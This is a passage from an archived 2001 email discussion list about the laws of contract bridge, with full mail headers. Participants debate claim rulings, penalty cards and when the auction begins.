and can't make 6, but is >> able to state a line of play where he makes 5 with >> normal >> play, and racks up 650. Again, he can't state it. [Well, he can state it, but it won't matter unless it's _worse_ than all normal lines of play.] If there are _no_ lines of play making 6, but some making 5, he won't make 5 unless TD can't think of a "normal" line that makes only 4 or less. >> Just how to you see that the evil BL has damaged the >> poor, >> innocent Declarer? > >Declarer was cold for six, but had the hand been played out, he might >have made seven on a squeeze. He has lost his chance to play for this >squeeze as a result of the "claim". This is another possibility. When someone says "We can make 6" he may well mean "I know we're making 6 and it might be 7". It won't be 7 now. >In situation 2, if declarer wasn't actually cold for six, if the hand >was played out and east defended trying to break up a squeeze for >seven, an adjustment would be in order because declarer's remark >damaged the opposition. I completely agree. If opponents are damaged by the remark [statement, utterance, whatever :)], they are entitled to redress. We don't need to call it a claim to prevent damage. >Sincerely, David Grabiner, grabiner@math.la.asu.edu Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 08:44:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NLhdH16091 for bridge-laws-outgoing; Wed, 24 Jan 2001 08:43:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NLhWt16087 for ; Wed, 24 Jan 2001 08:43:33 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id NAA12440; Tue, 23 Jan 2001 13:41:18 -0800 Message-Id: <200101232141.NAA12440@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Claim? In-reply-to: Your message of "Tue, 23 Jan 2001 14:11:04 CST." <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> Date: Tue, 23 Jan 2001 13:41:18 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grant Sterling wrote: > You may argue that these cases are different, that they did not > take place in 'serious tournaments' or somesuch. Perhaps. Perhaps in a > professional game between the multi-millionaires that play these games > for a living the rigid enforcement of such rules would not be condemned > as absurd or inimical to the game. Even there, I can name you > ways in which major league baseball teams break the letter of the rules > in every game, and no-one finds this in the least bit disturbing. And > perhaps if you want to enforce this claim law in the Bermuda Bowl, I > would not regard it as an absurdity. > Perhaps. It might be reasonable to expect that at a "professional" level, that players should be familiar with the Laws. I've already argued on r.g.b, in the "Let's Bash Larry Cohen" thread, that there are things we can rightfully expect professional high-level players to do that we don't expect from average players. In that case, it was taking the time to prepare for a number of oddball systems that one might not have to play against. But I also think it would be reasonable to expect players *at* *that* *level* to familiarize themselves with the Laws also (as well as other applicable regulations), and even to consult with officials or "lawyers" to make sure they understand the Laws correctly. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 09:34:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NMXA517017 for bridge-laws-outgoing; Wed, 24 Jan 2001 09:33:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com [209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NMX4t17013 for ; Wed, 24 Jan 2001 09:33:04 +1100 (EST) Received: from kay (ashsv1-46.cswnet.com [209.136.193.46]) by mail.cswnet.com (Postfix) with SMTP id 167FE5D0D5; Tue, 23 Jan 2001 16:32:55 -0600 (CST) Message-ID: <016101c0858c$c7887b60$2ec188d1@kay> From: "Nelson/Kay Ford" To: , "Grant Sterling" References: <000f01c084f7$56da27a0$37c188d1@kay><200101230259.SAA25487@mailhub.irvine.com><000f01c084f7$56da27a0$37c188d1@kay> <3.0.6.32.20010123151337.00806100@ux1.cts.eiu.edu> Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 16:35:23 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "Grant Sterling" To: Sent: Tuesday, January 23, 2001 3:13 PM Subject: Re: [BLML] Claim? > At 02:00 PM 1/23/2001 +0000, David J Grabiner wrote: > >On Tue, 23 Jan 2001, Nelson/Kay Ford wrote: > > > >> Well, let's see. Declarer at 4S, Vul, says: "We're cold > >> for 6, partner." > >> > >> East, a dirty rotten BL, says: "That's a claim, what's > >> your line of play?" > >> > >> Now one of two things happens: > >> 1. Declarer is cold for 6 and states how he will take > >> them, > >> and scores the slam. > > He can't state how he will take them. It's too late for a > clarification statement. Even though his intended line was cold for > 6, his intended line is now irrelevant. If there is a careless or > inferior line of play that gives him only 5, even a really stupid > such line of play, he will be stuck with it. In which case, he was blowing smoke when he stated that 6 was COLD, which in my bridge dictionary means that it must make by any (L70) "normal" line of play. So he gets what he deserves if it is NOT cold. Nelson > >> OR > >> 2. Declarer was blowing smoke and can't make 6, but is > >> able to state a line of play where he makes 5 with > >> normal > >> play, and racks up 650. > > Again, he can't state it. [Well, he can state it, but it won't > matter unless it's _worse_ than all normal lines of play.] If there are > _no_ lines of play making 6, but some making 5, he won't make 5 unless > TD can't think of a "normal" line that makes only 4 or less. > > >> Just how to you see that the evil BL has damaged the > >> poor, > >> innocent Declarer? > > > >Declarer was cold for six, but had the hand been played out, he might > >have made seven on a squeeze. He has lost his chance to play for this > >squeeze as a result of the "claim". > > This is another possibility. When someone says "We can make 6" > he may well mean "I know we're making 6 and it might be 7". It won't > be 7 now. > > >In situation 2, if declarer wasn't actually cold for six, if the hand > >was played out and east defended trying to break up a squeeze for > >seven, an adjustment would be in order because declarer's remark > >damaged the opposition. > > I completely agree. If opponents are damaged by the remark [statement, > utterance, whatever :)], they are entitled to redress. We don't need to > call it a claim to prevent damage. > > >Sincerely, David Grabiner, grabiner@math.la.asu.edu > > Respectfully, > Grant Sterling > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 10:01:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NN0rE24289 for bridge-laws-outgoing; Wed, 24 Jan 2001 10:00:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hawk.prod.itd.earthlink.net (hawk.prod.itd.earthlink.net [207.217.120.22]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NN0ft24221 for ; Wed, 24 Jan 2001 10:00:46 +1100 (EST) Received: from brianbaresch (sdn-ar-001kslawrP115.dialsprint.net [158.252.181.75]) by hawk.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id OAA13161 for ; Tue, 23 Jan 2001 15:00:29 -0800 (PST) Message-ID: <200101231702250020.0174CD22@mail.earthlink.net> In-Reply-To: <016101c0858c$c7887b60$2ec188d1@kay> References: <000f01c084f7$56da27a0$37c188d1@kay> <200101230259.SAA25487@mailhub.irvine.com> <000f01c084f7$56da27a0$37c188d1@kay> <3.0.6.32.20010123151337.00806100@ux1.cts.eiu.edu> <016101c0858c$c7887b60$2ec188d1@kay> X-Mailer: Calypso Version 3.20.01.00 (3) Date: Tue, 23 Jan 2001 17:02:25 -0600 From: "Brian Baresch" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Claim? Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >> He can't state how he will take them. It's too late for a >> clarification statement. Even though his intended line was cold for >> 6, his intended line is now irrelevant. If there is a careless or >> inferior line of play that gives him only 5, even a really stupid >> such line of play, he will be stuck with it. > >In which case, he was blowing smoke when he stated that >6 was COLD, which in my bridge dictionary means that it >must make by any (L70) "normal" line of play. So he gets >what he deserves if it is NOT cold. So now players must memorize the Bridge Encyclopedia as well as the law book, or we'll rule against them every time? Is this where we have arrived, at long last? Brian Baresch, baresch@earthlink.net Lawrence, Kansas, USA Editing, writing, proofreading I always wanted to be someone -- I guess I should have been more specific. --Lily Tomlin -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 10:05:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NN5P525886 for bridge-laws-outgoing; Wed, 24 Jan 2001 10:05:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NN5Gt25840 for ; Wed, 24 Jan 2001 10:05:17 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id RAA10076 for ; Tue, 23 Jan 2001 17:06:32 -0600 (CST) Message-Id: <3.0.6.32.20010123170443.007b1990@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 23 Jan 2001 17:04:43 -0600 To: From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: <016101c0858c$c7887b60$2ec188d1@kay> References: <000f01c084f7$56da27a0$37c188d1@kay> <200101230259.SAA25487@mailhub.irvine.com> <000f01c084f7$56da27a0$37c188d1@kay> <3.0.6.32.20010123151337.00806100@ux1.cts.eiu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 04:35 PM 1/23/2001 -0600, Nelson/Kay Ford wrote: >> He can't state how he will take them. It's too late for a >> clarification statement. Even though his intended line was cold for >> 6, his intended line is now irrelevant. If there is a careless or >> inferior line of play that gives him only 5, even a really stupid >> such line of play, he will be stuck with it. > > >In which case, he was blowing smoke when he stated that >6 was COLD, which in my bridge dictionary means that it >must make by any (L70) "normal" line of play. So he gets >what he deserves if it is NOT cold. > >Nelson I guess we just read a different book. My bridge dictionary says that "Cold" means "I see a line of play that makes this unbeatable". It does not mean "Even if I were to block my suits, use up all my entries, and take out trumps before getting my ruffs I'd make it anyway". Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 10:08:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NN85026825 for bridge-laws-outgoing; Wed, 24 Jan 2001 10:08:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NN7vt26782 for ; Wed, 24 Jan 2001 10:07:58 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id RAA10642 for ; Tue, 23 Jan 2001 17:09:16 -0600 (CST) Message-Id: <3.0.6.32.20010123170727.007b2420@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 23 Jan 2001 17:07:27 -0600 To: bridge-laws@rgb.anu.edu.au From: Grant Sterling Subject: OT Baseball quotes, was Re: [BLML] Claim? In-Reply-To: <200101232111.f0NLBNT22856@cosmos.CCRS.NRCan.gc.ca> References: <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 04:11 PM 1/23/2001 -0500, Ron Johnson wrote: >Grant Sterling writes: > >(snip much stuff that I totally agree with ) >> >> Just as practicing your swing to get better at baseball is regarded >> as perfectly normal and appropriate, while studying the rulebook to >> find technicalities to enforce against your opponents would be >> regarded as unsporting, > >Not everyone agrees with you here. Earl Weaver is quite clear that >he spent hours combing the rulebook in an effort to find >technicalities that he could use to advantage. From "Earl Weaver did x" we may not validly deduce "X is not regarded as unsporting". :) >In general this isn't treated as unsporting above a certain level. > >Baseball is after all the game which gave us the quote > >"Nice guys finish last." Yes. Only that quote was from a manager that is almost universally regarded as a colossal jerk. Q.e.d. :) >RNJ -Grant -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 10:44:40 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NNi4O05797 for bridge-laws-outgoing; Wed, 24 Jan 2001 10:44:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout3-0.nyroc.rr.com (mailout3-0.nyroc.rr.com [24.92.226.118]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NNhjt05789 for ; Wed, 24 Jan 2001 10:43:50 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout3-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0NNdom15386; Tue, 23 Jan 2001 18:39:50 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: References: <01C082FA.E03553C0.tsvecfob@iol.ie> <200101211728.MAA01229@calum.csclub.uwaterloo.ca> Date: Tue, 23 Jan 2001 18:35:05 -0500 To: David Stevenson From: Ed Reppert Subject: Re: [BLML] penalties AND UI - too much ? Cc: bridge-laws@rgb.anu.edu.au Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 4:50 PM +0000 1/22/01, David Stevenson wrote: > OK, you refuse to believe it. that's fine with me. > > But do you accept that the wording exists in L50D1? Law 50D1 says, in part, "A major penalty card must be played at the first legal opportunity, whether in leading, following suit, discarding or trumping (the requirement that offender must play the card is authorized information for his partner; however, other information arising from facing of the penalty card is unauthorized for partner)." Of course I accept it, how could I not? Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOm4XKb2UW3au93vOEQKjvwCgjkjyKRdj8AY/R8UI+toAPR4kXhwAoPV1 V2Nvo/zIpzKDBQsJ/zvMd1+V =n2Rl -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 10:53:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NNrIn05964 for bridge-laws-outgoing; Wed, 24 Jan 2001 10:53:18 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout2-0.nyroc.rr.com (mailout2-0.nyroc.rr.com [24.92.226.121]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NNrAt05958 for ; Wed, 24 Jan 2001 10:53:11 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout2-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0NNnKm16548; Tue, 23 Jan 2001 18:49:22 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: References: Date: Tue, 23 Jan 2001 18:50:14 -0500 To: David Stevenson From: Ed Reppert Subject: Re: [BLML] Exposed Card before auction begins (?) Cc: bridge-laws@rgb.anu.edu.au Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 5:29 PM +0000 1/22/01, David Stevenson wrote: > The criterion for calling the TD is that something happened and >attention was drawn to it. Yeah. Okay. :-) > Perhaps if she had got he Law book out it would have been slightly >better! > >[snip] > Actually, if she had even looked under the right Law in Duplicate >decisions it would have been OK, because what is written there is > > 17 > Duration of the Auction > THE AUCTION PERIOD ON A DEAL BEGINS > for a side when either partner looks > at the face of his cards. Heh. When I spoke to her yesterday, she said she knew about Law 17. I didn't ask her why, if she knew about it, she was so unsure at the time whether the auction had begun. :-) > So, you had not looked at your cards - had your partner? [snip] I'm still not sure whether partner had looked at her cards, but Cheryl (the TD) said yesterday that she thinks that partner had. > >There seemed no damage caused by partner's enforced pass - though >>they did stop in a part score when others bid and made game. I can >>post the hands and the bidding if anyone cares. >> >>Comments? > > Can we club together to buy your TD a Law book? I brought mine to the came yesterday, to show her law 17. She had her own there then. I guess when she went to her car on Sunday she grabbed DD even though she had a LB. :-) I guess the bottom line is I had no problem with the actual ruling - and wouldn't have one even if we hadn't got a shared top on this board - but I do have a problem with the way she arrived at it. Seems to me she got it right by chance. :-( Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOm4ZWr2UW3au93vOEQImuwCfZWvKCUxJUxYrEpq9eNaYM/15XMUAoJ1z STwRo1hMHA+/O/ycEbxi6yCf =ElNR -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 11:03:20 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O034e06163 for bridge-laws-outgoing; Wed, 24 Jan 2001 11:03:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout3-0.nyroc.rr.com (mailout3-1.nyroc.rr.com [24.92.226.168]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O02rt06155 for ; Wed, 24 Jan 2001 11:02:58 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout3-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0NNx9m21886; Tue, 23 Jan 2001 18:59:09 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> Date: Tue, 23 Jan 2001 19:02:20 -0500 To: "Marvin L. French" From: Ed Reppert Subject: Re: [BLML] Exposed Card before auction begins (?) Cc: "Bridge Laws" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 12:13 AM -0800 1/23/01, Marvin L. French wrote: >If the auction has not begun, L16B (pertaining to UI) applies. I >think L16B and L24 assume the auction hasn't begun until it has >begun for both sides (see L17). If that isn't so, this subject could >get very complicated. I don't know what leads you to conclude that these laws assume that. Law 17, at least, is clear: the auction begins for the two sides at different times. >If the auction has begun and the card dropped was in a "position for >the face to be seen" by your partner, then L24/L24B applies. It >seems to me that "face up on the table" puts the card in such a >position. It doesn't matter whether she actually saw it or not. Agreed. >Strictly speaking, Law 24 doesn't say it's a major penalty card, >only that it must be left face up on the table until the auction >closes and your partner must pass at next turn to call. It only >becomes a major penalty card during play if an opponent becomes >declarer and chooses to treat it as one. Otherwise it is picked up >and is not (and has never been) a penalty card. > >At one time ACBL directors were told that they must declare this >card to be a major penalty card during play, but the ACBLLC affirmed >last summer that this decision is up to declarer, not the TD. Yeah, I glossed over that little bit. At the table, she didn't mention an option, she called it a penalty card. >No, it hinges on whether anyone at the table has looked at their >cards. Not according to Law 17, it doesn't. >>At this moment I can't say for sure whether she had seen them or >>not, but I think not. > >It's for the TD to determine whether *anyone* has looked at the face >of their cards. Well, d'uh. As I said in a message to David a minute ago, I talked to this TD again yesterday, and she wasn't sure whether partner had looked at her cards or not, but she thought partner had. She did agree that it was *partner* that mattered. Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOm4bpr2UW3au93vOEQKXMwCeMcRlg6OeCItueEOFOqcbJJOF+OIAoIHp q8IsYDASqyZkTN5u4HEwujFc =zpwb -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 11:23:36 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O0NKQ06558 for bridge-laws-outgoing; Wed, 24 Jan 2001 11:23:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout3-0.nyroc.rr.com (mailout3-1.nyroc.rr.com [24.92.226.168]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O0N9t06551 for ; Wed, 24 Jan 2001 11:23:10 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout3-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0O0J5m29336; Tue, 23 Jan 2001 19:19:11 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <3A6DB570.A0815438@village.uunet.be> References: <3A6DB570.A0815438@village.uunet.be> Date: Tue, 23 Jan 2001 19:16:13 -0500 To: Herman De Wael From: Ed Reppert Subject: Re: [BLML] wake up allowed? Cc: Bridge Laws Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 5:46 PM +0100 1/23/01, Herman De Wael wrote: >For what it's worth, I do not believe that the fact that >bidding cards are used, and the 3Di bid lies right over the >1NT means that 1NT now becomes AI per se. Earlier you said that something needs to happen which would cause the player to ask for a review of the auction. Are you suggesting that is necessary *when bidding cards are in use*? Must a player think "if we weren't using bidding boxes, I would ask for a review" before the UI becomes AI? Must he *actually* ask for a review, even using bidding boxes? Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOm4gWr2UW3au93vOEQIgYgCgwOzymnUe/SeDakkvssHNg38QhpkAn1I8 AidvpKEiggUNx92dSWTAQwZ1 =11xe -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 11:44:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O0h7d06961 for bridge-laws-outgoing; Wed, 24 Jan 2001 11:43:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout3-0.nyroc.rr.com (mailout3-1.nyroc.rr.com [24.92.226.168]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O0h0t06954 for ; Wed, 24 Jan 2001 11:43:01 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout3-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0O0d2m06459; Tue, 23 Jan 2001 19:39:03 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <3.0.6.32.20010123151337.00806100@ux1.cts.eiu.edu> References: <000f01c084f7$56da27a0$37c188d1@kay> <200101230259.SAA25487@mailhub.irvine.com> <000f01c084f7$56da27a0$37c188d1@kay> <3.0.6.32.20010123151337.00806100@ux1.cts.eiu.edu> Date: Tue, 23 Jan 2001 19:34:00 -0500 To: Grant Sterling From: Ed Reppert Subject: Re: [BLML] Claim? Cc: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 3:13 PM -0600 1/23/01, Grant Sterling wrote: >He can't state how he will take them. It's too late for a >clarification statement. Even though his intended line was cold for >6, his intended line is now irrelevant. If there is a careless or >inferior line of play that gives him only 5, even a really stupid >such line of play, he will be stuck with it. I fail to see how someone who thinks he is *not* claiming can be expected to state a line of play until he knows that his remark is a claim. Or are you planning to give, before each session of play or each tournament, a written test on the laws of bridge to each player, to ensure he knows them? Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOm4k/r2UW3au93vOEQIJPACfRzhD94CY6ptg3+de6HtgOORlmTsAn3i0 hKUPm2h+NHs88Cxj+eJHcXdM =KSdV -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 12:16:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O1G1W08361 for bridge-laws-outgoing; Wed, 24 Jan 2001 12:16:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O1Fst08320 for ; Wed, 24 Jan 2001 12:15:54 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id RAA17289; Tue, 23 Jan 2001 17:13:35 -0800 Message-Id: <200101240113.RAA17289@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: [BLML] Another penalty card and UI question Date: Tue, 23 Jan 2001 17:13:35 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Law 50D1 says a major penalty card must be played at the first legal opportunity. What's the definition of "legal" here? This one is easy, right? It means you must play the card at your next opportunity to play, when the obligation to follow suit does not prevent you from doing so. OK, so what happens here? LHO opens 1S; RHO bids 2D; LHO bids 2NT. At this point, partner asks a whole lot of pointed questions about the 2D bid, and then passes. RHO then bids 3NT, ending the auction. Partner leads a heart. On this trick, you play the jack of diamonds; then you say, "Ooops, I have to follow suit". So you then play the ace of 